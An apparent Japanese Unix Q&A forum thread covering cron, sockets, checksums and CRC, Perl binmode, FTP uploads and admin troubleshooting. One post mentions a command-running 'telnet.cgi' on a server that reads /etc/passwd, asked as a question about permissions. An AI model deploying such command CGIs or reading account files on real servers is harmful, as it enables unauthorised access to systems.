>>3148 FF > cronで”a.sh < /dev/pts/13 > /dev/pts/13 2&>1”を実行したところ > 正しく動作しているようです。 ほー、FreeBSD で試してみましたが、これ、できるんですねぇ。 知りませんでした。ただ、出力はいいとして、入力については ちょうどそのときその端末デバイスからの入力を受け付ける プログラム (シェルとか) が走っていた場合、キー入力が そのプログラムに渡るか、a.sh に渡るかは不定 なような気がします (FreeBSD で試した限りでは、ですが)。 あとは - その端末を読み書きする権限があるかどうか (パーミッションの問題) - 誰もログインしていなかったらどうするか - 複数の端末があった場合は who などで調べるとしても、 どの端末を選べばいいのか - (ウィンドウシステムがあるとして) たまたま選んだ端末がウィンドウの 後ろに隠れていたら とかいろいろ問題ありげなので、お勧めはしません。 |
「ネットワークプログラミングの基礎知識」の「リンク集・参考書籍」 http://x68000.startshop.co.jp/~68user/net/link-book.html にちょろっと追加しました。 # http://x68000.startshop.co.jp/~68user/cgi-bin/cvsweb.cgi/public_html/net/org/link-book.html |
>>3150 68user 68userさんご返答ありがとうございます。 >ちょうどそのときその端末デバイスからの入力を受け付ける >プログラム (シェルとか) が走っていた場合、キー入力が >そのプログラムに渡るか、a.sh に渡るかは不定 最初のreadの受け取りで若干おかしな動作をする(シェルのプロ ンプトが表示される)ようなので、cronを使わず常駐して時間に なったら動作するようにしました。 ありがとうございました。 |
内容あやしげ、そして需要がほとんどないと思われる 「DNS クライアントを作ってみよう」 を書きました。 http://x68000.startshop.co.jp/~68user/net/resolver-1.html http://x68000.startshop.co.jp/~68user/net/resolver-2.html http://x68000.startshop.co.jp/~68user/net/resolver-3.html 3連休つぶれちゃったよ。とほほ。 |
お世話になります。kakiです。 現在、LAN経由でクライアントから送られてくる(55msec毎)データを、 取得し、表示するHTTPサーバーを作成しています。 サーバー側で、クライアントと接続中にLANケーブルが抜けたのを 検出するのに、受信ループ中のping()で戻り値を判断して、 抜けているかどうかを判断しようとしていますが、 この方法は正攻法なのでしょうか? また、その方法を試そうと思ったのですが、 accept()後のrecv()で受信待ちをしてしまっている為、 ケーブル断が検出できていません。 受信待ちをしないよう、socket()後にfcntl(s,F_SETFL,O_NONBLOCK)と しているのですがrecv()でとまっているようです。 fcntl()の使い方が間違っているのでしょうか? |
>>3154 kaki > この方法は正攻法なのでしょうか? 正攻法とは何かという話になってしまいますが、TCP/IP の設計思想的には 誤りです。ケーブルが抜けようがルータが落ちようが、その部分が復旧したら 元通りに通信できるべきである、という考えだからです。 と言っても、タイムアウトを実装したいというケースもあるでしょうが、 わたしなら select したり non-blocking socket 使うと思います。ケーブル 断だけでなく、クライアント側のバグなどで いつまでたっても反応がない 場合なども対応できるからです。 サーバ側のケーブル断であれば >>1301 rosegarden という話もあったりしますが、通信できない原因はたくさん考えられるのに、 なぜサーバ側のケーブル断だけ特別扱いするのか、という話になるのではないかと。 > 受信待ちをしないよう、socket()後にfcntl(s,F_SETFL,O_NONBLOCK)と > しているのですがrecv()でとまっているようです。 > fcntl()の使い方が間違っているのでしょうか? non-blocking socket を使ったことがないのでわかりませんが、あってる ような気がします。 多分これは関係ないでしょうけど、とりあえず int val = fcntl(s, F_GETFL, 0); fcntl(s, F_SETFL, val | O_NONBLOCK); の方がいいでしょうね。 |
質問です。Windows のDOS窓で 0x01〜0x06、0x10、0x15〜0x17 で水道管みたいな罫線が出たり、 0x12、0x1b〜0x1fでちっちゃな矢印が出ますが、 これらの文字は誰がどこで決めたのでしょうか。 おわかりでしたらご教示ください。 |
>>3156 ふくし 調べましたが、わかりませんでした。 http://czyborra.com/charsets/codepages.html を見るに、 > 0x12、0x1b〜0x1fでちっちゃな矢印 は CP437 あたりだと思いますが、なぜ 0x01 で 0xC9 な 水道管が出るのかはわかりません。 http://www2d.biglobe.ne.jp/~msyk/cgi-bin/charcode/ で質問してみてはどうでしょうか。 |
>>3157 68user さん、ありがとうございます! 聞いてみます。 ちなみにDOS窓でjpとやると出てくる字から想像するに、 CP932ですよね。 usとやると437に切り替わりますが、そうすると出てくる字は 下で出てきたCP437そのままのようです。 |
たまに referer 見てみると、知らないところで突っ込まれて たりするのでおもしろい。 http://dns.qmail.jp/lies.html > コンテンツサーバとキャッシュサーバの違いを理解していな可能性が高いから。 うっ。勉強しよう。 |
お世話になります。 gcc(全般)でコンパイルした実行ファイルには チェックサムは付加されているのでしょうか? |
>>3160 saki > チェックサム の意味がわかりません。 ファイル転送などで化けてしまったバイナリを実行しようと すると、「チェックサムが一致しません」とか言ってくれる、 ような感じですか? もしそうなら、そういう機能は聞いたこと ありません。 もしかして、そういうのが可能なコンパイラがあるのでしょうか。 |
>>3161 68user 68userさん ご返答ありがとうございます。 そのチェックサムです。 ファイルをバイナリで開いて、そのファイルの全バイナリ値の合計のこと だそうです。(すいません私もあまり詳しくないのです。) あるファイルをコピー(ダウンロード)する時に、 コピー前のファイルとコピー後のファイルのチェックサムを 比較して、あっていればコピーが正常、あっていなければ異常と するプログラムを作りたいと思っていまして、 > gcc(全般)でコンパイルした実行ファイルには > チェックサムは付加されているのでしょうか? とお聞きしたのは、ファイルそのものにチェックサムが付加されていれば ファイルをオープンしてチェックサムの値を比べるだけで済むのかなぁと 思いまして・・・。 そういう機能がないのであれば、チェックサム自体をプログラムで 作ろうと思い、 ネットで調べたのですが簡単すぎるからなのか情報があまりありません。 参考になるサイトや本などあれば、勉強したいのですが、 ご存知のかたはいますでしょうか? |
>>3162 saki チェックしたいのがバイナリだけでいいのか、データファイルも 含むファイル一般なのかわかりませんが、前者であれば gzexe http://www.jp.freebsd.org/cgi/mroff.cgi?subdir=man&man=gzexe&dir=jpman-5.0.0%2Fman を使うのが簡単でしょう。gzexe は実行ファイルを圧縮しておく ためのコマンドですが、実行時に gzip で展開するので、結果的に gzip の誤り検出機能をそのまま利用できます。gzexe も 圧縮した 実行ファイルも、いずれも sh スクリプトですので、改造も簡単 でしょう。 後者であれば、単に gzip を使う手もありますし、あるいは cksum や md5 などのコマンドを利用するのもいいでしょう。 http://www.jp.freebsd.org/cgi/mroff.cgi?subdir=man&man=cksum&dir=jpman-5.0.0%2Fman http://www.jp.freebsd.org/cgi/mroff.cgi?subdir=man&man=md5&dir=jpman-5.0.0%2Fman http://www3.cds.ne.jp/~marimo/data/rfc/rfc1321-jp.txt なお、誤り検出のアルゴリズムとしては、 > ファイルをバイナリで開いて、そのファイルの全バイナリ値の > 合計のことだそうです。 は単純すぎます。言っちゃ悪いですが、この程度の認識しか持っていない のであれば、cksum や md5 などのコマンドを利用した方がよいです。 |
>>3153 68user なんかわざわざ書いてもらったようで恐縮です。 なんでもそうですが、自分が必要と思う部分を理解するには その周りの事情全てを勉強しておけ、というのが世間の常識なので、 俺みたくよこしまな考えでDNS関連の本やらWEBやらRFCやらを 眺めている輩にはなかなかハードルが高かったのですが、 おかげでDNS関連の資料に目を通すのにも少し抵抗が和らぎました。 ところで例の話の続きなんですが、うちのlinux(kernel-2.4.18+ glibc-2.2.4)では、bind-8.3.4-RELのdig8.3で名前解決できません。 straceしてみると、どうもpoll()で受信を検出できていないようです。 glibcの名前解決も同様のコーディングだったので、poll()を試しに select(),pselect()に変えてみましたがダメでした。 一方でbind9.1.3付属のdigでは名前解決ができました。 というわけで、そのコードをglibcに移植してしまえ、と思ったのですが、 iscライブラリというのが理解できず、結局移植はできていません。 一時はgethostbyname()内部を、正常に動作するdig9.1.3をsystem()で 呼び出し、その結果を拾ってくるように書き換えようと思いましたが、 どうやらgethostbyname()の利用頻度が低いようだったのでやめました。 今後についてはどうするか未定ですが、また調査しつつ改修しつつで 行きたいと思います。 |
かなりお久しぶりです。 >>3163 68user 実は私も、チェックサム=合計と思っていました。cksumのように CRC演算するものもチェックサムと呼ばれるようになった経緯を何 かご存知でしたら、教えていただけませんか? #少なくとも、CRC演算は合計(=サム)ではないです・・・ |
>>3165 へにか > 実は私も、チェックサム=合計と思っていました。 広義のチェックサムと狭義のチェックサムがあって、狭義の チェックサムは http://www.jp.freebsd.org/cgi/mroff.cgi?subdir=man&man=cksum&dir=jpman-5.0.0%2Fman#sect2 で言うところのアルゴリズム 1 なのだろうとわたしは思って います。このマニュアルではアルゴリズム 2・3 も「チェックサム」 と呼んでますね (それが一般的なのかどうかはわかりませんが)。 >>3163 68user を書いたときは、わたしの中では「チェックサム=広義のチェックサム」 だったので、あのような書き方をしましたが、 > ファイルをバイナリで開いて、そのファイルの全バイナリ値の > 合計のことだそうです。 は正しいですね。失礼しました。 |
>>3166 68user > チェックサムは > http://www.jp.freebsd.org/cgi/mroff.cgi?subdir=man&man=cksum&dir=jpman-5.0.0%2Fman#sect2 > で言うところのアルゴリズム 1 なのだろう あ、加算のたびに右ローテートって書いてあるので、アルゴリズム 1 も 「狭義のチェックサム」とは異なるんですね。 |
68userさん、へにかさん ご返答ありがとうございます。 大変、勉強になりました。 チェックサムといっても、いろいろなやり方があるのですね。 >cksum や md5 などのコマンドを利用した方がよいです。 組込のLinuxだったので上記のようなコマンドがなく、 自作しました。 全バイナリ値を合計して、16bit桁あふれしたら、 あふれた分を削除するという簡単なものです。 こんなのでもいいのかなと不安になりますが、 貴重な情報をありがとうございました。 |
すいません、また質問です。 Windows で ActivePerl を使うと、 \r\n を読み込むと \n を読み込んだと思い込み、 \n を書き出すと \r\n を書き出そうとする習性があります。 これを停止するために binmode STDIN; binmode STDOUT; とするのですが、こうすると while (<>) { ... } で読み込もうとするときに、 C:\> perl スクリプト名 < ファイル だとうまくいくのですが、 C:\> perl スクリプト名 ファイル だとうまくいきません。 つまり、<> は引数でファイル名を渡されると、 STDIN 以外のファイルハンドルからファイルを読んでいるようなのですが、 このファイルハンドル名は分かるでしょうか? ActivePerl を Windows 2000 以降で使うと、 スクリプト名に .pl という拡張子を付けると C:\> スクリプト名 でいきなり実行できて便利なのですが、 このスクリプトの中で <> を使うと、 C:\> スクリプト名 ファイル名 だとうまくいくのですが、 C:\> スクリプト名 < ファイル名 だと '<' を第1の引数と思い込んでうまくありません。 動かそうとしてるのはしょうもないファイルダンプツールです。 # fdump.pl #$file = shift; #open IN, $file; #binmode IN; binmode STDIN; binmode STDOUT; #$/ = "\r\n"; while (<>) { # 1行ずつ読み込み $line1 = $line2 = $line3 = ""; # 作業域を初期化 @char = split //; # 1文字ずつ分解 foreach $char (@char) { # 1文字ずつ処理 $line1 .= $char; # 文字をそのまま $line1 にくっつける $hex = unpack "H2", $char; # $charを16進数値に変換して$hexに格納 ($hex1, $hex2) = split //, $hex; # $hexを1文字ずつ分解して$hex1、$hex2に格納 $line2 .= $hex1; # 16進数の前半を$line2にくっつける $line3 .= $hex2; # 16進数の後半を$line3にくっつける } print $line1; # $line1を出力する(改行はもともとついている) print "$line2\r\n"; # $line2+改行を出力する print "$line3\r\n"; # $line2+改行を出力する } |
>>3164 has > straceしてみると、どうもpoll()で受信を検出できていないようです。 ほほう、glibc の問題かカーネルの問題かはわかりませんが、今どきの Linux でそんな問題にぶちあたるとは運がいいですね。 ここは一気に UDP・IP スタックを解析して、Linus にパッチを送付する まで頑張ってください。しかし粘りますねぇ (笑) # NIC を変えたらすんなり直ったりして。 >>3169 ふくし % grep '<>' /usr/src/contrib/perl5/* /usr/src/contrib/perl5/toke.c: /* turn <> into <ARGV> */ となったので、それを手がかりに調べてみると、perl(1) に 以下のように書いてありました。 次のループは、 while (<>) { ... # 各行に対するコード } 以下の疑似コードと同等になります。 unshift(@ARGV, '-') if $#ARGV < $[; while ($ARGV = shift) { open(ARGV, $ARGV); while (<ARGV>) { ... # 各行に対するコード } } 本当に binmode ARGV でうまくいくのかどうかは試していません。 他の調べ方としては print %main::; でシンボルテーブルを表示し、 片っ端から試してみる、とかですかね。 |
<<3170 さん、 ありがとうございます。 結果として、 while (<ARGV>) { ... } でも while (<>) { ... } 同様に動くので、<>のファイルハンドルがARGVであることに 間違いはないようですが、 binmode ARGV; は効かないようです!? へんだなぁ、、。 |
>>3166 68user なるほど、狭義と広義の差が有るんですね。僕にとっては、 新たな知識です。どうも教えていただいて、ありがとうござ います。 20年程前のパソコン雑誌に載っていた機械語プログラムには、 横一列の合計が書いてあったのを懐かしんで、こんな質問を してしまいました。確か最初は何も無く、次に横一列、次に 縦一列と横一列、その次にそれ+CRC演算が出てきたという 記憶があります。確か一列はどちらも1octet x 16個で、CRC は256octet毎に1octetでした。 僕も、その後GoogleでCRCもチェックサムと呼ぶようになっ た経緯を調べたのですが、経緯自体は、なかなか見つからな いですね。 もし、どなたか見つけたら、教えていただければ嬉しいです。 蛇足ですが、単純に足すだけだと間違いが見つかりにくいので、 > 加算のたびに右ローテート のような工夫がされているんでしょうね(推測です)。 |
>>3172 へにか > なるほど、狭義と広義の差が有るんですね。僕にとっては、 > 新たな知識です。 わたしが世の中の「チェックサム」という用語の使われ方を見る限り、 広義のチェックサムと狭義のチェックサムがあるのでは、と思った だけですので、誤解のなきよう。 例えば IP・UDP・TCP のチェックサムは「1の補数和の 1の補数」で 狭義のチェックサムだと思いますが、一方 java.utik.zip.CRC32 http://java.sun.com/j2se/1.3/ja/docs/ja/api/java/util/zip/CRC32.html は Checksum インタフェースを implements していますが、この「Checksum」 は広義のチェックサムかなぁと。…ってなんか苦しい例だなぁ。 http://www.onelook.com/?w=checksum&ls=a#all_com を見ても、わたしの思う「狭義のチェックサム」しか載ってないよう ですし、やっぱりわたしの認識が変なのですかねぇ。 ちなみに http://www.jisc.go.jp/index.html で JIS を調べてみましたが、「チェックサム」の定義は見付けられませんでした。 >>has あの後、寝てしまいました…。 |
時間のあるときに、遊びつつ飲みつつちょっとずつですが、 linux kernel-2.4.18-24.7.xにてpoll()を追っかけてます。 相当飛ばし読みでやっとこ__pollwait()。 けど先が見えません…。 @68user あいかわらずですな。またの機会に。 |
>>3173 68user > 誤解のなきよう。 了解しました。 色々調べていただいて、ありがとうございます。 http://www.onelook.com/?w=checksum&ls=a#all_com のリンク先、これから追いかけてみます。 そこで、早速二箇所追いかけたところ、面白い記述を見つけました。 http://www.wikipedia.org/wiki/Checksum > Note: The term 'checksum' is also often used incorrectly to mean a CRC. http://www.wikipedia.org/wiki/CRC >CRC's are often referred to as "checksums," but such > designations are not accurate since, technically, > a checksum is calculated through addition, not division. incorrectlyを始め、思わずbabylonで単語の意味を調べてしまいました。;) とにかく歴史上などの何らかの事由で捻じ曲がったのではないかと推測 していますが、なんとかその確証が得られるよう、調べてみます。 運良く見つけたら、連絡します。見つけられなかったら、次回の(他の ネタを含む)書き込み時に、その旨お伝えいたします。 #教えて頂いたリンク先、情報の宝庫ですね。ありがとうございます。 |
#連続ですみません。 >>3173 68user >やっぱりわたしの認識が変なのですかねぇ。 少なくとも、cksumが存在する以上、(繰り返しになりますが)何らかの 事由があったのでしょうから、変と思わなくても良いのではないかと思 います。といいますか、その事由に依存すると思いますので、変かどう かという問題ではないかもしれません。 #尊敬する68userさんでも困難な問題なので、わたくしごときが調べ #きれるかどうか自信ないですが、挑戦してみます。 |
ども。以前erro.cgiの件でお世話になった者ですが、 どうしても解決できない事が有り、質問させてください。 Web上にてユーザーがアカウントを自動登録できるようにしたのですが 登録したユーザーのquotaをcronで設定したく下記のようにしてみました。 つか見つけてきました。 */5 * * * * edquota -p foo `awk -F":" '$3 > 1000 {print $1}' /etc/passwd` idが1000以上のユーザーに予め設けたユーザーfooのquotaを例えばsoft 20000 と同じに設定すると言うものですが、これをcronで走らせても なぜか登録ユーザーのquotaには反映されません。 しかし、直接#rootで上記コマンドを打つと反映されます。 で、コマンドが長すぎるのかとも思い、 下記のように二つに分けてcronで走らせてもだめでした。 勿論、直接コマンドではOKです。 */5 * * * * awk -F":" '$3 > 1000 {print $1}' /etc/passwd > member_id.txt */6 * * * * edquota -p foo `cat /root/member_id.txt` 二つに分けた場合ではmember_id.txtは作成されているから edquota -p info `cat /root/member_id.txt`がcronで作動してない ということになりますが、理由がわかりません。 長文で申し訳ありませんがご教授お願いします。 |
あ! edquota -p info `cat /root/member_id.txt`がcronで作動してないは edquota -p foo `cat /root/member_id.txt`がcronで作動してないです。 |
すみません。自己解決しました。 cronからメールが来てました。 /bin/sh: edquota: command not found /usr/sbin/edquotanにしたら解決しました。 板汚してすみませんでした。 で、ついでと言っては何ですが、、、 suEXECを使ったCGIはその所有者の権限で動くわけですが、 その所有者には/bin/falseとしてシェルは利用出来ないようにしています。 でも、コマンドが使える(例えばtelnet.cgi)CGIではcat /etc/passwd 等と出来てしまいます。 これは誰の権限で動いているのでしょうか。 OSはLinuxで鯖はApacheです。 |
>>3179 ある厨 > その所有者には/bin/falseとしてシェルは利用出来ないようにしています。 /etc/passwd に書くログインシェルはあくまで 「ログインするときに起動するシェル」 です。 ログインとは telnet や rlogin や ssh 経由でログインすることを指します。 よって、cron から起動したり、setuid(2) して exec(3) する場合は関係 ありません。 web サーバは nobody や www 権限で動かされることが多いでしょうが、 /etc/passwd で nobody:*:65534:65534:Unprivileged user:/nonexistent:/sbin/nologin www:*:80:80:World Wide Web Owner:/nonexistent:/sbin/nologin などと /sbin/nologin となっているのは、単にその権限でログインさせない という設定になっているだけで、その権限でのプロセスの実行を制限している わけではありません。 >>3176 へにか (狭義の) checksum や parity や CRC や hash はデータ誤りを検出するための 一方式だと思うのですが、「データ誤りを検出するためのもの」一般は英語で 何て言うんでしょうね? http://www.wikipedia.org/wiki/Checksum にあるように「integrity-protection measure」としか言いようがないなら、 「データ誤りを検出するためのもの」という意味で「checksum」という用語を 使ってもいいんじゃないかなぁ、となんとなく思っております。 |
>>3180 68user なるほど、ただ単にログインできないと言うことであって 実行制限ではないと言うことですか。 勉強になりました。 #やぱり独学では限度があるにゃぁ。 |
>>3180 68user >「データ誤りを検出するためのもの」一般は英語で何て言うんでしょうね? Error Detecting Code (誤り検出符合)です。 因みに、CRCは、なんと、1bit-errorまでは訂正できてしまいます。 即ち、Error Correcting Code (誤り訂正符合)でもあるところが、parityやchecksumとは違うところで、面白いです。 #訂正方法は遠い昔に忘れました・・・ #hashは方式を知らないので、訂正できるのかどうか分からないです。 #今日本屋で調べても、歴史的なことは見つかりませんでした。A^^; #http://www.wikipedia.org/ は現在crashしているみたいです。 |
始めまして。 なんとなくXULの練習でUnixの部屋のMozilla用検索ツールバーを作ってみました 迷惑になるかもしれないので(それと家のサーバーが落ちてるからというのもある) 許可があるまで配布はしてないのですが配布してもよろしいでしょうか? # 家の鯖と外の鯖両方落ちてる・・・ # なぜ家に居ないときに落ちる・・・ |
>>3183 NPK > 配布してもよろしいでしょうか? はい、構いません。ぜひお願いします。 |
ASCIIでプログラミングして ISO-2022-JPを出力するプログラムを書いていますが (なんのために #! /usr/local/bin/perl -w print "\e\$B\$3\$s\$K\$A\$O\n"; だとうまくいくけど、 #! /usr/local/bin/perl -w print "\e\Q$B$3$s$K$A$O\E\n"; だとダメですね。 \Q〜\Eより先に変数展開が行われるみたいです。 ヘンな感じ、、。 |
>>3184 68user まだDNSが無いのがちょっとどうかと思いますが(^^; とりあえず置いてみました。 # 古いdyndnsのパスワード忘れたものでそのうちとろうと思ってとりあえずしばらく放置です(笑) |
はじめまして。unix初心者です。 定期的にhtmlをftpでファイルをアップロードしたいと思いました。それで、cronで実現しようと考えcrontabで編集したのですが上手く動いてくれません。コマンドが間違っているかと思い、console上で実際にやってみたところ普通に動きました。どうしてcronでは上手く動いてくれないのでしょうか? 以下の様にやっています。 10 0 * * * ftp -n < /home/hogehoge/ftp.sh ftp.shの中身 open ftp-server user hogehoge passwd ascii prompt cd data/ put index.html quit |
もじら組のゆきちといいます。いつも、こちらの記事は参考にさせていただいています。 >NPKさん 下記で紹介されているツールバーですが、「新もじら瓦版」というニュースサイト(?)があるのですが、そこでツールバーの報道を行なっても良いでしょうか。 ぜひとも、紹介させていただきたいのですが。 |
追記 今、InfoseekとX68Kの両方を利用してみたのですが、「新しいタブで開く」(Infoseek)「新しいWindow」(X68K)で開くを利用すると、最大化(全画面表示)になって、かつ、右にスクロールバーが出ない状態です。最大化を解くと、小さくなりますが、スクロールバーが出ませんね。1.4αです。 こんなところですいませんが、とりあえず、利用報告です。 |
ここで会話することじゃないと思いますが(^^; (68userさんすいません >>3188 ゆきち(もじら組) 紹介に関しては問題ないです。 鯖が貧弱なので落ちたらごめんなさい(笑) 開発には1.4α使ってるんですが家ではそんなバグは確認されてませんね・・・。 もしかしたらほかのXULアプリと衝突を起こしてるのかもしれません。 そのうち調べてみます。 |
ありがとうございます。今、時間がとれないですが、紹介してみようと思います。ありがとうございました。 #管理人さん、すいませんでした。 |
>>3185 ふくし > \Q〜\Eより先に変数展開が行われるみたいです。 プログラミング Perl 第 3版では、その辺の評価順序は明示 されていないみたいですね。 >>3187 Phantom 普通、/var/mail/$USER などに実行結果がメールで届くはずです。 そこに何か情報があるかもしれません。 >>3189 ゆきち(もじら組) FreeBSD 4.7-RELEASE + mozilla-1.4b (2003041308) ですが、再現 しませんでした。ただ、「新しいタブで開く」としても、(タブでなく) 新しいウィンドウが開いてしまいます。 infoseek の方ですが、アプリとしての感想を述べさせていただくと、 - うちの常用のサイズではウィンドウの幅が足らず、「新しいタブで開く」が 切れる (ウィンドウサイズを広げれば表示される) 「Search by Dictionary」と単語入力フォームが広すぎるのかも。 -「Search」で検索じゃなくて、「国語」「和英」「英和」それぞれを押せば 検索するといいかも (そしたら「Search」は不要) - 「和英」と「英和」はひとつにまとめて、フォームの内容が ASCII なら 英和、日本語なら和英、だといいかも。 - てなところを設定で変更できたりするとうれしいかも。 - 「英→日」はとても便利ですねぇ。 - 入力した単語の履歴が残って、さらに補完してくれたりすると素晴らしい。 てな感じです。 勉強用にとりあえず作ってみただけなのか、あるいは継続的に 開発されるのかわかりませんが、もし後者であればご検討ください。 >>3190 NPK > ここで会話することじゃないと思いますが(^^; 全く問題ないです。 >>has しばし待たれよ。 |
ずっと前に、 while (<>) { ... } のファイルハンドル ARGV に binmode が適用されないので、 while (<>) { ... } における ActivePerl の \r\n => \n 置換を抑制できない、 という話をしましたが、5.6 以降では binmode のかわりに use open IN=>"raw:"; だと動作するようです。PerlIOってやつですね。 |
>>3193 ふくし 自己レスれす。 use open IN=>":raw"; の間違いでした。 |
>>3185 ふくし perldoc perlre > You cannot include a literal "$" or "@" within a "\Q" sequence. An > unescaped "$" or "@" interpolates the corresponding variable, while > escaping will cause the literal string "\$" to be matched. You'll need > to write something like "m/\Quser\E\@\Qhost/". >>3192 68user > その辺の評価順序 「詳説 正規表現」のP245とか… |
改行コードについて質問いたします。 UNIX(HP-UX)の改行コードはLFだと思うのですが、 このコードを削除して複数行のテキストファイルを 一行にすることは可能でしょうか? |
>>3195 /tk > 「詳説 正規表現」のP245とか… 書いてありました。正規表現エンジンを作ってみる本だと思って 買ってみたらそうじゃなかったので、ほとんど読んでなかったり。 >>3196 天 tr -d '\n' < file perl -pe 's/\n//' < file などなど。 |
>>3192 68user > 普通、/var/mail/$USER などに実行結果がメールで届くはずです。 という事でしたが、何故か何も届いていませんでした。 それで、もう1度すべて見直して、ftp.shの中身を以下のようにしたら 出来ました。 ftp.sh open ftp-server user hoge passwd prompt cd data/ ascii del index.html put /home/hoge/public_html/index.html ./index.html quit なんか、putがうまく行ってなかったみたいです。それで、フルパスで 書いたら上手く行くようになりました。ここまで、書かなければならない とは、、、 ご迷惑おかけしました。 |
>>3192 68user 実験的な要素は強いですけど基本的に自分が使うから作ってるのでよさげなら取り込みます(笑) ってな訳で微妙に弄ってみました。 セレクトボックス以外は大体取り込んだと思います。 |
エンベロープを変えてメールを送る方法を超初心者向けにわかりやすく説明していただけませんか? |
>>3199 NPK FreeBSD 4.7-RELEASE + 昨日あたりの nightly で最新版を インストールして mozilla を再起動したところ、mozilla が 起動しなくなりました (何かを poll(2) してずっと待っている)。 ~/.mozilla/ をリネームしてみたところ起動したのですが、設定が 全部元に戻るのは避けたいので、infoseek transfer だけを削除 する方法を教えてください。 >>3200 oMH どういう環境で実現したいのか わからないので無理っす。 |
>>3201 68user 一応そういう事は予想していてあとゆあおうんりすくと書いたんですがね(^^; chromeの中にあるchrome.rdfからinfoseek_transferに関する項目を削除 chromeの中にあるoverlayinfoディレクトリ内navigatorディレクトリの contentの中にあるoverlays.rdfからinfoseek_transferに関する項目を削除 これでアンインストールできます。 |
>>3202 NPK > 一応そういう事は予想していてあとゆあおうんりすくと書いたんですがね(^^; 別にクレームをつけているわけではないです。単なる報告と質問の つもりでした。 で、アンインストールして、再度インストールしたところ正常に動いている ようです。ありがとうございました。 てゆーか、 http://ryuzi.dyndns.org/mozx/j_googlebar/index.html にちゃんと書いてありましたね。失礼しました。 |
いや、そういうリスクがあるので自分で治せない場合はやばいっすよ〜みたいなニュアンスで書いたんですが(^^; 別にクレームとしては受け取ってないですよ。 報告はあったほうがありがたいですし。 1.4のナイトリーは大規模な変更が行われてるようですのでたぶんこれからもこういうことがあると思います。 ですので、むしろ報告していただけるほうがありがたいです。 |
別々のディレクトリのファイルどうしの日付を見てファイル更新が新しければ、コピーするというスクリプトを作りたいんですけど、そのようなコマンドはありますか? |
もしご存知でしたら教えてください。 例) temp/aaa/bbb/ccc cccディレクトリの中に 111 222 333 と3つのファイルがあるとします。 その時に cccディレクトリに行き 「ls」コマンドを打つと 111 222 333 と表示されると思いますが この表示を以下のようにフルパスにしたい。 temp/aaa/bbb/ccc/111 temp/aaa/bbb/ccc/222 temp/aaa/bbb/ccc/333 というのが質問です。 もしご存知でしたらご教授をお願いします。 以上 よろしくお願いします。 |
>>3205 teru rsyncというコマンドがあるそうです。 http://www.turbolinux.co.jp/knowledge/public/178.html >>3206 awa ls | perl -nle "print \"$PWD/\$_\";" 一応動きます。 #1文字目が'/'なのをフルパスというのでは? |
分かる人にとっては、下らない質問かもしれませんがお分かりでしたら お願いします。あと、私はperlは全然分かりません。。。 perlで実行した内容結果がindex.htmlというHTMLファイルで出力されるの ですが、それをcronで決まった時間で実行しています。そして、その出力さ れたファイルをftpでアップしたいと考えています。しかし、以下のように cronを書くと駄目でした。 20,50 0-23/2 * * * perl hoge.pl | ftp -n < ftp.up どう駄目かというと、説明する必要ないかもしれないのですが、ftp上に置 かれるindex.htmlファイルが最新のものではなく、その前の時間のファイル になってしまうのです。(0時50分に更新すると、ファイルの時間は0時20分 のものになってしまうということです。)原因は明確的で、perlが実行され 出力される前のファイルをftpでアップしている事、にあるのは分かってい ます。ただ、その解決方法がわかりません。 perlのファイルを書き換えないと駄目なんでしょうか…。それとも、別の 方法があるのでしょうか? |
>>3204 NPK > そういうリスクがあるので自分で治せない場合はやばいっすよ〜 ごもっともです。精進します。 >>3205 teru もしシェルスクリプトでやるのであれば test(1) を使って if [ "$fromdir/file1" -nt "$todir/file1" ]; then cp -f $fromdir/file1 $todir/file1 fi など。 >>3208 Phantom > perl hoge.pl | ftp -n < ftp.up perl と ftp を同時に実行しているので、perl が書き換える 前に ftp で put しているのでしょう。 そもそも % command1 | command2 < file というのはおかしいです。command2 の標準入力に渡したいのは、 command1 の出力なのか、あるいは file なのかが不明確だから です。sh 系だとなぜかエラーにならないようですが、csh 系だと Ambiguous input redirect. と怒られます。 というわけで、 perl hoge.pl ; ftp -n < ftp.up でしょう。 もし hoge.pl が - 正常終了時には 0 を返す (exit(0)) - 異常終了時には 1 以上を返す という UNIX コマンドの一般的なルールに従っていて、hoge.pl が 異常終了した場合には ftp を実行したくないのであれば、 perl hoge.pl && ftp -n < ftp.up の方をお勧めします。 |
>>3209 68user > perl hoge.pl && ftp -n < ftp.up これで、思い通りに出来ました!有難う御座いました。 凄く単純なことにミスをしていたんですね。お恥ずかしい。 sh 系でもエラーはいて欲しいと思いました。 |
はじめまして。 マシン:HITACHI3050 OS:HI-UX のマシンのIPアドレスを変更したいのですが、 Hostsファイルの変更だけで大丈夫でしょうか? HP-UXのように、samコマンドみたいなものがあるのでしょうか? よろしくお願いします。 |
>>3211 11SE HI-UX も HP-UX もさわったことはないのでわかりませんが、一般的な UNIX なら /etc/hosts は、ただの IP アドレスとホスト名のマッピングを 決めるファイルです。 /etc/hosts はマシン (正確にはインタフェース) の IP アドレスを決める ファイルではないので、何かしらのファイルを変更しないといけないでしょう。 管理コマンドを探すか、 # find /etc -type f | xargs fgrep 10.0.0.1 などでどのファイルに何が書かれているのか探しましょう。 |
はじめまして最近Laboの管理者にはじめてなった伊藤と申すものです。 まず、状況から説明したいと思います。先日Laboの電気工事のため停電があり、WS(ワークステーション)を停めなくてはいけませんでした。 本日復旧作業をしていたのですが、ディスクアレイに繋がっているWSがうまく起動しません。また、ディスクアレイの表示画面にもROM ERROR と出ています。これは何が悪いのでしょうか?GW中なので、業者にも連絡がつかず八方塞がりな状態です。よろしくお願いします。 以下に詳しいlogの内容を記載しておきます。 (WS<COMPAQ XP1000>のlog) Checking local filesystems /sbin/ufs_fsck -p Can't open /dev/rrz8g : No such device or address /dev/rrz8g : CAN'T CHECK FILE SYSTEM Can't open /dev/rrz8h : No such device or address /dev/rrz8h : CAN'T CHECK FILE SYSTEM THE FOLLOWING FILE SYSTEMS HAD AN UNEXPECTED INCONSYSTENCY /dev/rrz8g(/raid) /dev/rrz8h(raid2) Unknown error in reboot (ディスクアレイ<proware 型番不明>の表示パネルに出てくるMessage) ROM ERROR 19200,8,1,N |
>>3213 伊藤@管理初心者 ディスクアレイの表示画面に ROM ERROR と出ているなら、ディスク アレイの故障した可能性が限りなく高いと。そっちは業者にまかせる として、あとはそのディスクアレイなしで OS がブートするかどうか です (ディスクアレイ中のデータを読み出すことが目的なら、あきら めて業者を待ちましょう)。 シングルユーザモードで起動して、/etc/vfstab あたりを修正して、 /dev/rrz8* をマウントしないようにするのが UNIX における一般的な 対処です。 ただ、おそらく OS は Tru64 あたりではないかと推測しますが、 さわったことがないので具体的な対処方法はわかりません。 |
